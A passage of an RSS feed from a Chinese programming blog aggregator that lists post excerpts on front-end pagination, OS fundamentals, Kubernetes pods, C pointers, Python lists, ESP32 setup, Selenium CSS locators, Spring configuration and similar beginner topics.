      <description>1.引入mui.min.css，mui.min.js。&#xA;2.创建html需要刷新的html代码段。&#xA;3.页数和每页的条数限制&#xA;创建自己需要刷新的分页的html代码段 参考作者代码段 &amp;lt;div id=&#34;pullrefresh&#34; class=&#34;mui-scroll-wrapper&#34;&amp;gt; &amp;lt;div class=&#34;mui-scroll&#34;&amp;gt; &amp;lt;div id=&#34;showlist&#34; class=&#34;showlist&#34;&amp;gt; //showlist放自己需要刷新的列表 //例如 //&amp;lt;li&amp;gt;1&amp;lt;/li&amp;gt; //&amp;lt;li&amp;gt;1&amp;lt;/li&amp;gt; //&amp;lt;li&amp;gt;1&amp;lt;/li&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; var pageNo = 0;//定义一个页数变量 var id = 0;//好像会用到，我也记不清楚了。。。(ˉ▽￣～) mui.init({ pullRefresh: {//定义一个上拉刷新，这个容器就是上面html定义的pullrefresh container: &#39;#pullrefresh&#39;, up: { auto: true, contentrefresh: &#39;正在加载...&#39;, callback: userPullupRefresh } } }); //好像类似与监听的事件，只要发现有向上拉就会执行这个方法，pageNo加一，执行下面的showlist方法 function userPullupRefresh() { setTimeout(function() { pageNo++; console.log(pageNo); showlist(); }, 500);//500的意思是毫秒 }; //这个方法用到了公司的内部接口，我就不便展示了，理解逻辑就好(ˉ▽￣～) function showlist() { $.ajax({ type: &#39;POST&#39;, url: &#39;这是一个公司的内部接口地址，（一个热搜话题）&#39;, data: { 接口页数参数: pageNo, 接口页数条数限制参数: 16,//一页有16条 }, //调用接口如果成功返回，就会有返回值，这个返回值是一个数组，res数组 success: function(res) { console.</description>
    </item>
    <item>
      <title>第一章 操作系统基本知识点及概述（初步了解操作系统）</title>
      <link>https://bchobby.github.io/posts/25631c269aafab0ed0846813089f0859/</link>
      <pubDate>Mon, 22 Nov 2021 14:47:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25631c269aafab0ed0846813089f0859/</guid>
      <description>1.操作系统的软件硬件构成和层次 1.1一台电脑是如何诞生的呢？ Step1: 厂家把各个硬件组装为一台裸机&#xA;Step2: 给这台电脑安装操作系统（核心）&#xA;Step3: 用户安装应用程序等软件（例如 微信 等）&#xA;1.2系统的软硬件 ？ 实现应用软件和硬件设备的连接&#xA;2.操作系统的基本概念 2.1操作系统的概念：（Operating System OS) 他是一些程序模块的集合 -----他们能合理的组织、调度计算机的工作与资源的分配，合理 的组织、调度计算机的工作与资源的分配，为用户和其它软件提供方便的接口和环境&#xA;2.2图示说明 3.操作系统的特征和分类 3.1 并发性：指计算机系统同时运行多个程序；可以体现在用户程序之间，用户程序和操作 系统之间（在微观上，就是顺序执行几个程序，时间间隔很小，宏观就是并发）&#xA;3.2共享性：多个用户程序在操作系统的控制下，共用系统的各种资源&#xA;3.3随机性：操作系统是在一个随机的硬件环境中都能够运行的，强调操作系统的设计要考 虑各种可能性，实现稳定，安全，高效，可靠的达到程序并发和共享&#xA;3.4操作系统的发展和分类&#xA;3.5 对各种操作系统的解释 及其优缺点&#xA;3.5.1手工操作阶段：人工使用纸带机，输入速度慢，计算机速度快，导致了资源利用很低&#xA;3.5.2批处理阶段：一批作业全部传入计算机 由一段的监控程序来控制执行 称为批处理&#xA;单道批处理：一次只能处理一个程序，其他程序后面排队 多道批处理：一次可以处理多道程序，并发执行，共享资源，提高了资源利用&#xA;缺点：没有人机交互用户提交作业就只能一直等待，中间不能控制 输入和程序执行失败&#xA;3.5.3分时操作系统：计算机以时间片为单位 轮流为各个作业服务，可以人机交互&#xA;优点：解决人机交互，允许多个作业 / 用户同时使用，多个用户相对计算机是独立的&#xA;缺点：不能优先处理 紧急的任务 因为每个作业都是公平的&#xA;3.5.4实时操作系统 能够优先响应紧急任务，及时性和可靠性&#xA;3.5.6 网络操作系统： 通过网络实现各种资源的共享和各台计算机之间的通信&#xA;3.5.7分布式操作系统：多个连接起来的计算机，并行，协同处理这个任务&#xA;4.操作系统的功能（后面章节具体详解） 4.1 作为计算机系统资源的管理者 4.1.1 处理器（CPU）管理&#xA;在多道程序环境下，cpu的分配和运行都以进程（或线程）为基本单位，因此对cpu的管理 可理解为对进程的管理。进程管理的主要功能包括进程控制、进程同步、进程通信、死 锁处理、处理机调度等&#xA;4.1.2 存储器管理 为多道程序的运行提供良好的环境，方便用户使用及提高内存的利用 率，主要包括内存分配与回收、地址映射、内存保护与共享和内存扩充等功能。&#xA;4.1.3 文件管理 算机中所有的信息都是以文件的形式存在的，操作系统中负责文件的管 理的部分称 为文件系统，文件管理包括文件存储空间的管理、目录管理及文件读写管理和保护</description>
    </item>
    <item>
      <title>封装el-pagination（记录）</title>
      <link>https://bchobby.github.io/posts/9fe081dcd2340d8afa9886185febdb9d/</link>
      <pubDate>Mon, 22 Nov 2021 10:36:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fe081dcd2340d8afa9886185febdb9d/</guid>
      <description>// 封装&#xA;&amp;lt;template&amp;gt; &amp;lt;el-pagination class=&#34;pagination&#34; background layout=&#34;total, prev, pager, next&#34; :current-page.sync=&#34;curPage&#34; :total=&#34;total&#34; :page-size=&#34;pageSize&#34; @current-change=&#34;setCurrentPage&#34; &amp;gt;&amp;lt;/el-pagination&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#39;pagination&#39;, props: { total: { type: Number, default: 0 }, pageSize: { type: Number, default: 10 }, pageNum: { type: Number, default: 1 } }, data() { return { curPage: this.pageNum }; }, mounted() { console.log(this.curPage); }, methods: { /** * 跳转分页 * @curPage 跳转页码 */ setCurrentPage(curPage) { this.</description>
    </item>
    <item>
      <title>关于DBCO-PEG-NH2， DBCO-PEG-Amine 的反应原理介绍</title>
      <link>https://bchobby.github.io/posts/ac9ac1de5eeea846931f372b516e5b3e/</link>
      <pubDate>Mon, 22 Nov 2021 10:33:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac9ac1de5eeea846931f372b516e5b3e/</guid>
      <description>英文名称：DBCO-PEG-NH2&#xA;DBCO-PEG-Amine DibenzocyclooctynePEG-Amine 中文名称：二苯并环辛烯-聚乙二醇-氨基 二苯并环辛烯PEG氨基 分子量：400、600、1K、2K、3.4K、4K、5K、10K 纯度：95%以上&#xA;结构式：&#xA;供应商：西安凯新生物科技有限公司&#xA;状 态：淡黄色到白色固体，或者半固体，取决于分子量。 反应性：DBCO与含有N3基团化合物的反应。NH2可以和NHS,COOH,CHO等等。&#xA;溶解度：水、二甲基亚砜、二甲基亚砜&#xA;运输温度：低温运输&#xA;在多种有机反应中，由于具有多个优点，点击化学已被选作共轭化学反应。&#xA;1. 单击化学发生在水中。DMSO，DMF，乙腈，醇或纯水和缓冲液可用于反应。该反应是生物相&#xA;2. 反应迅速而定量。Click Chemistry是一种允许在稀释溶液中制备纳摩尔偶联物的工具。&#xA;3. 该反应对pH不敏感。与NHS酯与胺以及其他一些共轭化学的反应不同，无需控制反应混合物的pH。无需添加任何特殊的缓冲液，酸或碱-Click Chemistry在4-11的pH间隔下效果很好.&#xA;4. 天然生物分子中没有叠氮化物和炔烃。这些基团应专门引入DNA和蛋白质中。可以在标准寡核苷酸合成过程中用炔亚磷酰胺制备含炔的 DNA 。可以使用叠氮化物活化的酯和炔烃活化的酯来制备标记有叠氮化物和炔烃的蛋白质。&#xA;相关推荐：&#xA;DBCO-PEG-NH2 ， 二苯基环辛炔-聚乙二醇-氨基&#xA;DBCO-PEG-Amine，二苯基环辛炔-聚乙二醇-氨基&#xA;DBCO-PEG-COOH ， 二苯基环辛炔-聚乙二醇-羧酸&#xA;DBCO-PEG-carboxyl，二苯基环辛炔-聚乙二醇-羧酸&#xA;DBCO-PEG-MAL，二苯基环辛炔-聚乙二醇-马来酰亚胺&#xA;DBCO-PEG-Maleimide，二苯基环辛炔-聚乙二醇-马来酰亚胺&#xA;DBCO-PEG-NHS，二苯基环辛炔-聚乙二醇-N-羟基琥珀酰亚胺&#xA;DBCO-PEG-N3，二苯基环辛炔-聚乙二醇-叠氮&#xA;DBCO-PEG-azide，二苯基环辛炔-聚乙二醇-叠氮&#xA;DBCO-PEG-Alkyne，二苯基环辛炔-聚乙二醇-炔基&#xA;DBCO-PEG-SH ，二苯基环辛炔-聚乙二醇-炔基&#xA;DBCO-PEG-Thiol， 二苯基环辛炔-聚乙二醇-炔基&#xA;DBCO-PEG-Biotin ，二苯基环辛炔-聚乙二醇-生物素&#xA;DBCO-PEG-CHO ，二苯基环辛炔-聚乙二醇-醛基&#xA;DBCO-PEG-aldehyde ，二苯基环辛炔-聚乙二醇-乙醛&#xA;DBCO-PEG-SS-OPSS，二苯基环辛炔-聚乙二醇-邻吡啶二硫 巯基吡啶&#xA;DBCO-PEG-OH，二苯基环辛炔-聚乙二醇-羟基&#xA;DBCO-PEG-hydroxy l ，二苯基环辛炔-聚乙二醇-羟基&#xA;DBCO-PEG-Hydrazide，二苯基环辛炔-聚乙二醇-酰基&#xA;DBCO-PEG-HZ，二苯基环辛炔-聚乙二醇-酰基&#xA;DBCO-SS-PEG-Silane，二苯基环辛炔-聚乙二醇-硅烷&#xA;DBCO-PEG-Acrylates，二苯基环辛炔-聚乙二醇-丙烯酸酯&#xA;DBCO-PEG-ACRL ，二苯基环辛炔-聚乙二醇-丙烯酸酯&#xA;DBCO-PEG-LA ，二苯基环辛炔-聚乙二醇-硫辛酸&#xA;DBCO-PEG-Tosyl ， 二苯基环辛炔-聚乙二醇-甲苯磺酸酯</description>
    </item>
    <item>
      <title>图解k8s中pod的创建流程</title>
      <link>https://bchobby.github.io/posts/652734023931f66181886edcb8577a8d/</link>
      <pubDate>Sun, 21 Nov 2021 20:51:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/652734023931f66181886edcb8577a8d/</guid>
      <description>什么是pod Pod 是 k8s 系统中可以创建和管理的最小单元，是资源对象模型中由用户创建或部署的最小资源对象模型，也是在 k8s 上运行容器化应用的资源对象，其他的资源对象都是用来支撑或者扩展 Pod 对象功能的，比如控制器对象是用来管控 Pod 对象的，Service 或者Ingress 资源对象是用来暴露 Pod 引用对象的，PersistentVolume 资源对象是用来为 Pod提供存储等等，k8s 不会直接处理容器，而是 Pod，Pod 是由一个或多个 container 组成Pod 是 Kubernetes 的最重要概念，每一个 Pod 都有一个特殊的被称为”根容器“的 Pause容器。Pause 容器对应的镜 像属于 Kubernetes 平台的一部分，除了 Pause 容器，每个 Pod还包含一个或多个紧密相关的用户业务容器&#xA;pod的特性 （1）资源共享&#xA;一个 Pod 里的多个容器可以共享存储和网络，可以看作一个逻辑的主机。共享的如namespace,cgroups 或者其他的隔离资源。多个容器共享同一 network namespace，由此在一个 Pod 里的多个容器共享 Pod 的 IP 和端口 namespace，所以一个 Pod 内的多个容器之间可以通过 localhost 来进行通信,所需要注意的是不同容器要注意不要有端口冲突即可。不同的 Pod 有不同的 IP,不同 Pod 内的多个容器之前通信，不可以使用 IPC（如果没有特殊指定的话）通信，通常情况下使用 Pod的 IP 进行通信。一个 Pod 里的多个容器可以共享存储卷，这个存储卷会被定义为 Pod 的一部分，并且可以挂载到该 Pod 里的所有容器的文件系统上。</description>
    </item>
    <item>
      <title>解决远程登陆CentOS7 Vmware 虚拟机无法显示</title>
      <link>https://bchobby.github.io/posts/778711383b2d7a920ff59c5416d20060/</link>
      <pubDate>Sun, 21 Nov 2021 18:47:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/778711383b2d7a920ff59c5416d20060/</guid>
      <description>使用VNC 远程登陆Linux 服务器时，当使用服务器上的Vmware虚拟机时，虚拟机可以正常启动，但是并不会将虚拟机的界面显示到本地，这需要对虚拟机进行设置，方便在使用远程登陆是能够正常使用虚拟机，下面的步骤介绍具体设置：&#xA;步骤1：打开Vmware虚拟机&#xA;步骤2： 选择菜单栏Edit选项：并打开网络设置选项&#xA;步骤3，进行设置如下图所示：&#xA;步骤4：设置完成并保存设置后，正常启动虚拟机，即可顺利见到虚拟机界面。</description>
    </item>
    <item>
      <title>字符指针char*用法总结</title>
      <link>https://bchobby.github.io/posts/cfd1c22c3839d032b32e7beb6fd1c457/</link>
      <pubDate>Sun, 21 Nov 2021 10:59:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfd1c22c3839d032b32e7beb6fd1c457/</guid>
      <description>1、char*指向单个字符&#xA;char ch = &#39;w&#39;; char* pc1 = &amp;amp;ch; cout &amp;lt;&amp;lt; *pc1 &amp;lt;&amp;lt; endl; //w 2、char*指向字符数组&#xA;char arr[] = &#34;abcdef&#34;; char* pc2 = arr; //数组首元素地址赋值给指针pc2，指针大小只有4字节不可能放下整个数组 cout &amp;lt;&amp;lt; *pc2 &amp;lt;&amp;lt; endl; //输出是a，说明pc2存放的只是数组首元素地址 cout &amp;lt;&amp;lt; pc2 &amp;lt;&amp;lt; endl; //abcdef ，表示从pc2指向的地址位置开始打印 cout &amp;lt;&amp;lt; arr &amp;lt;&amp;lt; endl; //abcdef 3、char*指向字符串的首地址&#xA;//指针pc3是肯定放不下整个字符串的，把常量字符串首个字符a的地址赋给pc3;常量字符串前必须加const,不能char* pc3 = &#34;abcdef&#34;; const char* pc3 = &#34;abcdef&#34;; cout &amp;lt;&amp;lt; *pc3 &amp;lt;&amp;lt; endl; //输出是a，说明pc3存放的就只是a地址 cout &amp;lt;&amp;lt; pc3 &amp;lt;&amp;lt; endl; //abcdef，表示从pc3指向的地址位置开始打印字符串 //*pc3 = &#39;w&#39;; 错误，常量字符串不可以修改 4、字符数组与常量字符串比较</description>
    </item>
    <item>
      <title>PTA | 实验二 | 奇偶分家</title>
      <link>https://bchobby.github.io/posts/f36dfe14795ebffa05fe7f7d0cad57b1/</link>
      <pubDate>Sun, 21 Nov 2021 10:18:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f36dfe14795ebffa05fe7f7d0cad57b1/</guid>
      <description> 给定N个正整数，请统计奇数和偶数各有多少个？&#xA;输入格式： 输入第一行给出一个正整N（≤1000）；第2行给出N个非负整数，以空格分隔。&#xA;输出格式： 在一行中先后输出奇数的个数、偶数的个数。中间以1个空格分隔。&#xA;输入样例： 9 88 74 101 26 15 0 34 22 77 输出样例： 3 6 代码： #include &amp;lt;iostream&amp;gt; using namespace std; int main(){ int N, n, even = 0, odd = 0; cin &amp;gt;&amp;gt; N; for(int i = 1;i &amp;lt;= N;i ++){ cin &amp;gt;&amp;gt; n; if(n%2) odd++; else even++; } cout &amp;lt;&amp;lt; odd &amp;lt;&amp;lt; &#39; &#39; &amp;lt;&amp;lt; even; return 0; } </description>
    </item>
    <item>
      <title>一些课后延展:逢七拍手</title>
      <link>https://bchobby.github.io/posts/de107ef894802be2cb5b859997e4bec5/</link>
      <pubDate>Sun, 21 Nov 2021 02:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de107ef894802be2cb5b859997e4bec5/</guid>
      <description>用Python写了一个逢七拍手小游戏&#xA;代码如下&#xA;运行结果如下:&#xA;用for语句循环，当你输入一个数值时，自动列出从1到该数值中需要拍手的数值。&#xA;我又按照书上的课后扩展做了延伸:&#xA;计算从1-99需要拍手几次？(前提是没人数错)&#xA;依旧用for语句，代码如下&#xA;这里我用了一个新的函数:endswith&#xA;其作用是用来判断字符串是否以指定字符或子字符串结尾，常用于判断文件类型&#xA;相关函数还有判断字符串开头的startswith()&#xA;运行结果如下:</description>
    </item>
    <item>
      <title>VSCode开发ESP32</title>
      <link>https://bchobby.github.io/posts/b93afd437c2f2f45dbbe089664a42b85/</link>
      <pubDate>Sat, 20 Nov 2021 16:28:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b93afd437c2f2f45dbbe089664a42b85/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 前言一、VSCode坏境配置二、CP210X三、串口连接问题总结 前言 提示：以下是本篇文章正文内容&#xA;一、VSCode坏境配置 安装好VSCode后下载PlatformIO IDE&#xA;安装后可以看到如下界面&#xA;然后再新建立一个工程&#xA;工程名字，开发板类型一般选ESP32 Dev Module即可，框架选择Arduino,&#xA;最后可以选择文件创建的位置，点击完成等待下载即可。&#xA;然后就可以编写程序了&#xA;编译，下载过程：&#xA;1是编译整个工程，2是下载程序到开发板上，3是删除生成的*.o连接文件&#xA;二、CP210X 由于没有看视频教程，忘记安装CP210X驱动，导致下载不了程序到开发板上，浪费了我一个下午的时间&#xA;CP210X下载连接&#xA;链接：https://pan.baidu.com/s/138ngHmZ-pXohrLvAKvtACQ&#xA;提取码：s59f&#xA;三、串口连接问题 若驱动也安装了，开发板连接到电脑了，电脑毫无反应，首先换根数据线试试，很有可能你用的是随厂附赠的充电线，没有传数据的通道&#xA;这种情况也是一个大坑&#xA;总结 提示：这里对文章进行总结：</description>
    </item>
    <item>
      <title>Python中列表的常用方法总结</title>
      <link>https://bchobby.github.io/posts/52a5c384775d908f328ecea34687246c/</link>
      <pubDate>Sat, 20 Nov 2021 15:37:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52a5c384775d908f328ecea34687246c/</guid>
      <description>在平常的数据处理中我们经常会用到列表的方法，对此，向大家介绍一些列表中常用的方法！&#xA;首先，Python已经内置确定序列的长度以及确定最大和最小的元素的方法。列表是最常用的Python数据类型，它可以作为一个方括号内的逗号分隔值出现。列表的数据项不需要具有相同的类型。创建一个列表，只要把逗号分隔的不同的数据项使用方括号括起来即可。&#xA;以下是列表最常用的方法：&#xA;1.append() -------- 向列表的尾部添加元素&#xA;2.insert(index，object) -------- 向指定的下标处添加元素&#xA;3.sort（）-------- 进行排序（从下到大 int类型）可以对字母进行排序（ASCII值）类型不能混&#xA;4.index（）-------- 返回的是元素在列表中的第一个位置&#xA;5.reverse（）------------ 将列表进行翻转&#xA;6.remove（）---------- 删除某个元素，如果有重复，删除的是第一次出现的元素，如果元素不存在会 报错&#xA;7.count（）-------- 返回的是某个元素在列表里面的个数&#xA;8.clear（）--------- 清除元素&#xA;9.copy（）-------- 浅拷贝对象 不等价与 =&#xA;10.extend（）-------- 合并列表&#xA;11.pop（）-------删除列表尾部的元素（与append相反）,返回删除的元素，pop(i) i指的是下标&#xA;以下是列表里所有方法：</description>
    </item>
    <item>
      <title>编译原理第二章课后习题答案</title>
      <link>https://bchobby.github.io/posts/65992428f543f91e96a9652881a87713/</link>
      <pubDate>Sat, 20 Nov 2021 09:49:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65992428f543f91e96a9652881a87713/</guid>
      <description> </description>
    </item>
    <item>
      <title>PyEcharts 基本图表之饼图 educoder</title>
      <link>https://bchobby.github.io/posts/ad2203f5ee2969376acea1f7bd8d17c5/</link>
      <pubDate>Fri, 19 Nov 2021 22:13:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad2203f5ee2969376acea1f7bd8d17c5/</guid>
      <description>第1关：Pie：饼图（一） from PreTest import * from pyecharts import options as opts from pyecharts.render import make_snapshot from snapshot_phantomjs import snapshot from pyecharts.charts import Pie from pyecharts.faker import Faker data = [list(z) for z in zip(Faker.choose(), Faker.values())] def pie_chart() -&amp;gt; Pie: # ********* Begin *********# pie = ( Pie() .add(&#34;&#34;,data) .set_colors([&#34;blue&#34;, &#34;green&#34;, &#34;yellow&#34;, &#34;red&#34;, &#34;pink&#34;, &#34;orange&#34;, &#34;purple&#34;]) .set_global_opts( title_opts=opts.TitleOpts(title=&#34;Pie-基本示例&#34;) ) .set_series_opts( label_opts=opts.LabelOpts(formatter=&#34;{b}: {c}&#34;) ) ) # ********** End **********# return pie make_snapshot(snapshot, pie_chart().</description>
    </item>
    <item>
      <title>SpringSecurity 微服务权限方案</title>
      <link>https://bchobby.github.io/posts/115d7e506ca2e800bf44ea09512422e7/</link>
      <pubDate>Fri, 19 Nov 2021 20:24:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/115d7e506ca2e800bf44ea09512422e7/</guid>
      <description>1.什么是微服务 1.1微服务由来：&#xA;微服务最早由 Martin Fowler 与 James Lewis 于 2014 年共同提出，微服务架构风格是一种使用一套小服务来开发单个应用的方式途径，每个服务运行在自己的进程中，并使用轻量级机制通信，通常是 HTTP API，这些服务基于业务能力构建，并能够通过自动化部署机制来独立部署，这些服务使用不同的编程语言实现，以及不同数据存储技术，并保持最低限度的集中式管理。&#xA;1.2微服务优势：&#xA;（1）微服务每个模块就相当于一个单独的项目，代码量明显减少，遇到问题也相对来说比较好解决。&#xA;（2）微服务每个模块都可以使用不同的存储方式（比如有的用 redis，有的用 mysql等），数据库也是单个模块对应自己的数据库。&#xA;（3）微服务每个模块都可以使用不同的开发技术，开发模式更灵活。&#xA;1.3微服务本质:&#xA;（1）微服务，关键其实不仅仅是微服务本身，而是系统要提供一套基础的架构，这种架构使得微服务可以独立的部署、运行、升级，不仅如此，这个系统架构还让微服务与微服务之间在结构上“松耦合”，而在功能上则表现为一个统一的整体。这种所谓的“统一的整体”表现出来的是统一风格的界面，统一的权限管理，统一的安全策略，统一的上线过程，统一的日志和审计方法，统一的调度方式，统一的访问入口等等。&#xA;（2）微服务的目的是有效的拆分应用，实现敏捷开发和部署。&#xA;2.微服务认证与授权实现思路 2.1认证授权过程分析：&#xA;（1）如果是基于 Session，那么 Spring-security 会对 cookie 里的 sessionid 进行解析，找到服务器存储的 session 信息，然后判断当前用户是否符合请求的要求。&#xA;（2）如果是 token，则是解析出 token，然后将当前请求加入到 Spring-security 管理的权限信息中去。&#xA;如果系统的模块众多，每个模块都需要进行授权与认证，所以我们选择基于 token 的形式进行授权与认证，用户根据用户名密码认证成功，然后获取当前用户角色的一系列权限值，并以用户名为 key，权限列表为value 的形式存入 redis 缓存中，根据用户名相关信息生成 token 返回，浏览器将 token 记录到 cookie 中，每次调用 api 接口都默认将 token 携带到 header 请求头中，Spring-security 解析 header 头获取 token 信息，解析 token 获取当前用户名，根据用户名就可以从 redis 中获取权限列表，这样 Spring-security 就能够判断当前请求是否有权限访问。</description>
    </item>
    <item>
      <title>Selenium之css怎么实现元素定位？</title>
      <link>https://bchobby.github.io/posts/a65f3eb720424878ae8198964a03c540/</link>
      <pubDate>Fri, 19 Nov 2021 19:56:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a65f3eb720424878ae8198964a03c540/</guid>
      <description>世界上最远的距离大概就是明明看到一个页面元素站在那里，但是我却定位不到！！&#xA;Selenium定位元素的方法有很多种，像是通过id、name、class_name、tag_name、link_text等等，但是这些方法局限性太大， 随着自动化测试的深入，和不同框架要求，会发现上面的定位方式无法解决一些元素定位。尤其对于这样一些元素：&#xA;1、没有id、name、class等属性;&#xA;2、标签的属性或文本信息特征没有或者不明显；&#xA;3、标签嵌套复杂，层次太多等。&#xA;所以这些方法了解一下即可，我们真正需要熟练掌握的是通过xpath和css定位，一般只要掌握一种就可以应对大部分定位工作了。&#xA;CSS定位方式和XPATH定位方式基本相同，只是CSS定位表达式有其自己的格式。CSS定位方式拥有比XPATH定位速度快，且比XPATH稳定的特性。下面详细介绍CSS定位方式的使用方法&#xA;那这里我跟大家分享如何通过css定位元素，css定位元素的方法是&#xA;find _element_by_css_selector&#xA;如下是百度首页html代码：&#xA;1.css定位通过绝对路径定位 什么是绝对路径？绝对路径其实就是从开始标签（html）一级一级找到目标元素，上下级元素分隔符为&amp;gt;或者空格&#xA;例如：通过css绝对路径定位百度输入框，并输入内容检索，代码如下：&#xA;from selenium import webdriver import time # 打开浏览器 driver=webdriver.Chrome() # 加载项目地址（百度） driver.get(&#34;http://www.baidu.com&#34;) time.sleep(3) #定位百度输入框 driver.find_element_by_css_selector(&#34;html body div div div div div form span input&#34;).send_keys(&#34;小龙女&#34;) driver.find_element_by_css_selector(&#34;html&amp;gt;body&amp;gt;div&amp;gt;div&amp;gt;div&amp;gt;div&amp;gt;div&amp;gt;form&amp;gt;span&amp;gt;input&#34;).send_keys(&#34;小龙女&#34;) 2.css定位通过id或class定位 id选择器符号：#，class选择器符号：.还是刚才案例，通过id或者class定位代码如下：&#xA;# 通过id定位 driver.find_element_by_css_selector(&#34;#kw&#34;).send_keys(&#34;小龙女&#34;) #class进行定位 4driver.find_element_by_css_selector(&#34;.s_ipt&#34;).send_keys(&#34;小龙女&#34;) 3.通过属性或者部分属性定位 css定位可以通过除元素id、class以外的其他属性或者通过多个属性唯一定位元素，也可以通过部分属性值来定位。通过部分属性定位，有这么些常规匹配符，以字符^指明从字符串的开始匹配，以字符以字符*指明在需要进行模糊查询，以字符$指明在字符串的结尾匹配，代码如下：&#xA;driver.find_element_by_css_selector(&#34;[autocomplete=&#39;off&#39;]&#34;).send_keys(&#34;小龙女&#34;) driver.find_element_by_css_selector(&#34;[autocomplete=&#39;off&#39;][name=&#39;wd&#39; ]&#34;).send_keys(&#34;小龙女&#34;) # 4）通过部分属性值定位 driver.find_element_by_css_selector(&#34;[autocomplete^=&#39;o&#39;][name=&#39;wd&#39;]&#34;).send_keys(&#34;小龙女&#34;) driver.find_element_by_css_selector(&#34;[autocomplete*=&#39;f&#39;]&#34;).send_keys(&#39;小龙女&#39;) driver.find_element_by_css_selector(&#34;[autocomplete$=&#39;f&#39;]&#34;).send_keys(&#34;小龙女&#34;) 4.通过层级定位 层级定位一般很难唯一定位到元素，一般情况下层级跟id/class/属性或者部分属性值一起组合定位：&#xA;driver.find_element_by_css_selector(&#34;form&amp;gt;span&amp;gt;input&#34;).send_keys(&#34;小龙女&#34;) driver.find_element_by_css_selector(&#34;form.fm&amp;gt;span&amp;gt;input.s_ipt&#34;).send_keys(&#34;小龙女&#34;) driver.find_element_by_css_selector(&#34;form&amp;gt;span&amp;gt;input#kw&#34;).send_keys(&#34;小龙女&#34;) 5.通过兄弟节点定位 什么是兄弟节点，就是同一父级元素下，存在多个相同子标签，那么这些子元素就是兄弟节点，比如像下面这个html代码&#xA;如何来定位这些兄弟节点呢？定位第一个元素first-child,定位第2/3/4…N位置元素则用nth-child(n),定位最后一个元素last-child，代码如下：&#xA;# 6)通过兄弟节点定位 driver.find_element_by_css_selector(&#34;div#u1 a:first-child&#34;).click() driver.</description>
    </item>
    <item>
      <title>基于 Labelme 制作手部关键点数据集 并转 COCO 格式</title>
      <link>https://bchobby.github.io/posts/4e87c3d57d57a443ca4523611b77f068/</link>
      <pubDate>Fri, 19 Nov 2021 18:00:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e87c3d57d57a443ca4523611b77f068/</guid>
      <description>Labelme 制作手部21个关键点数据 1：环境准备1.1 基础环境1.2 安装 Labelme1.2.1：创建anaconda虚拟环境1.2.2：激活虚拟环境1.2.3：安装labelme的依赖1.2.3：安装labelme1.2.4：运行 2. 标注图片 （要先用rectangle把手圈起来，然后在rectangle里面打点）3. 标注转化（运行代码的时候一定要保证rectangle和keypoints都有） 因为导师的项目是手部姿态估计，经过一些技术预研，最后选定了 Open-MMLab 的 MMPose 作为基础框架来做底层架构。先说下Open-MMLab我认为的优点：&#xA;1. 代码优质：模块化做的非常好，易于扩展&#xA;2. 多研究方向支持：现在有十几个研究方向，包括MMCV（用于计算机视觉研究的基础）、MMDetection（目标检测工具箱）、MMDetection3D（3D目标检测）、MMSegmentation（语义分割工具箱）、MMClassification（分类工具箱）、MMPose（姿势估计工具箱）、MMAction2（动作理解工具箱）、MMFashion（视觉时尚分析工具箱）、MMEditing（图像和视频编辑工具箱）、MMFlow（光流工具箱）等等&#xA;3. 社区活跃：社区沟通一般是通QQ群或者微信群进行沟通，有任何问题都在社区得到相对及时的回答，而且针对一些业务思路，社区志愿者或者官方也会给出一些思路或者建议，这个非常不错。&#xA;4. 高性能：提供的现成SOTA算法和预训练模型都比官方的实现有显著的提升&#xA;5. 文档丰富：官方文档在不同研究方向上都有非常详细的中英文教程，新手可以按照教程迅速上手，赞一个&#xA;技术预研的时候看了包括百度的飞浆（PP）、旷视的天元（MegEngine），也都做得非常好，但是支持的研究方向就少了一些。&#xA;实验过程和一些注意事项如下文，希望帮助到有缘人，o(￣︶￣)o&#xA;1：环境准备 1.1 基础环境 操作系统：Windows 10&#xA;Python：3.8&#xA;Anaconda：4.10.1 （这个版本不重要）&#xA;Anaconda环境安装，如果没有安装的请自行搜索安装下，或者参考我之前的安装教程（Windows10 安装 Anaconda + CUDA + CUDNN ）&#xA;1.2 安装 Labelme 可以参考官方的安装，地址：https://github.com/wkentaro/labelme 1.2.1：创建anaconda虚拟环境 conda create -n labelme python=3.8 1.2.2：激活虚拟环境 conda activate labelme 1.2.3：安装labelme的依赖 conda install pillow conda install pyqt 1.2.3：安装labelme pip install labelme 1.2.4：运行 lableme 2.</description>
    </item>
    <item>
      <title>基于Spring的aop实现多数据源动态切换</title>
      <link>https://bchobby.github.io/posts/f1526e87833490af44fa212c1ce13bef/</link>
      <pubDate>Fri, 19 Nov 2021 17:16:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1526e87833490af44fa212c1ce13bef/</guid>
      <description>Spring多数据源管理类AbstractRoutingDataSource&#xA;实现AbstractRoutingDataSource重写determineCurrentLookupKey&#xA;首先配置项目的多数据源实体类交给spring管理&#xA;&amp;lt;beans&amp;gt; &amp;lt;!-- 加载配置属性文件 --&amp;gt; &amp;lt;context:property-placeholder ignore-unresolvable=&#34;true&#34; location=&#34;classpath:application.properties&#34; /&amp;gt; &amp;lt;!-- 数据源配置, 使用 BoneCP 数据库连接池 --&amp;gt; &amp;lt;bean id=&#34;dataSourceMaster&#34; class=&#34;com.alibaba.druid.pool.DruidDataSource&#34; init-method=&#34;init&#34; destroy-method=&#34;close&#34;&amp;gt; &amp;lt;!-- 数据源驱动类可不写，Druid默认会自动根据URL识别DriverClass --&amp;gt; &amp;lt;property name=&#34;driverClassName&#34; value=&#34;${default.jdbc.driver}&#34; /&amp;gt; &amp;lt;!-- 基本属性 url、user、password 